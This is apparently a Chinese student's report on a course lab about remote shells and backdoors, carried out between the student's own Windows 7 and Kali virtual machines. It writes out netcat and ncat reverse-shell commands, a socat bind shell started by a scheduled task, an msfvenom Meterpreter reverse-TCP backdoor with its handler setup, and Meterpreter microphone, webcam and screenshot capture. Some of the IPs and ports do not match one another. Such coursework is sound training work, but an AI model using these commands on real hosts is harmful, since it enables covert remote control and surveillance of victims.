实验要求
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
实验内容
了解监听,对主机与客机有更深入的了解。
实验步骤
1.用nc或netcat获取远程主机的Shell
1.1.1 Windows获得Linux Shell
首先在windows下面打开监听
用ipconfig命令,找到自己的IP地址
192.168.234.129
下载ncat并进入该目录,按windows + R组合键打开cmd.exe,输入ncat.exe -l -p 5309命令:
需要下载的netcat在老师提供的码云上
然后将其放在win7虚拟机下C盘即可
这时,防火墙会报警,这时为了实验的需求,我们要关闭所有的防火墙。
我的防火墙实在windows defender下的防火墙
2.Linux反弹连接Win,输入命令
nc 192.168.234.129 5309 -e /bin/sh
Windows下获得一个linux shell,可运行任何指令,如ls
1.2 Linux获得Win Shell
1.用ifconfig
命令查看本机IP为
192.168.234.133
2.Linux运行监听指令,输入命令nc -l -p 5309
3.Windows反弹连接Linux,在ncat目录下输入命令
ncat.exe -e cmd.exe 192.168.234.133 5309
这样我们就可以随意查看文件了。
(2)使用socat获取主机操作Shell,
首先我们了解一下什么是socat
socat是一个多功能的网络工具,名字来由是“Socket CAT”,可以看作是netcat的N倍加强版
1.在Windows 7中打开开始菜单,搜索管理工具并打开
找到任务计划程序并打开,点击创建任务:
击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时
点击常规选项卡,输入名称(学号)
再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写
tcp-listen:5309 exec:cmd.exe,pty,stderr
(作用是把cmd.exe绑定到端口5314,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置:
点击右栏中的显示所有正在运行的任务,找到刚刚创建的20155309任务,右键点击运行,此时会弹出一个黑色的框框表明成功运行:
在Kali Linux中输入socat - tcp:192.168.234.134 :5309
命令,可以成功得到一个cmd shell:
2 Meterpreter
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
这个实验使用的IP地址还是win7的
192.168.234.129
在kali中输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.129 LPORT=5321 -f exe > 20155309_backdoor.exe
可以看到虚拟机显示这样的画面
通过nc指令将生成的后门程序传送到Windows主机上
2.2 MSF打开监听进程
在Kali Linux中输入msfconsole
命令:
每次输入msfconcole都有新体验
再依次输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.234.134
set LPORT 5309
show options
exploit
注意:
IP地址选取的是kali虚拟机的。
接下来我们就可以做监听了。
要注意关闭win7的防火墙
Win平台ncat目录下找到后门并双击运行20155309_backdoor.exe:
然后我们就获取到了shellcode
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic
指令可以截获一段音频:
使用webcam_snap
指令可以使用摄像头进行拍照
色相头打开失败。
利用screenshot可以进行截屏。
实验过程中遇到的问题
1.无法进行监听
将网络设置改成桥接。
实验心得与体会
这次的实验算是这几个学期以来包括所有课最好玩的实验了。虽然可能之前基础比较差,但是现在也改变了自己原来的看法,想要去学习,想要去独立完成实验。反正想要去改变总是好的,浪子回头金不换,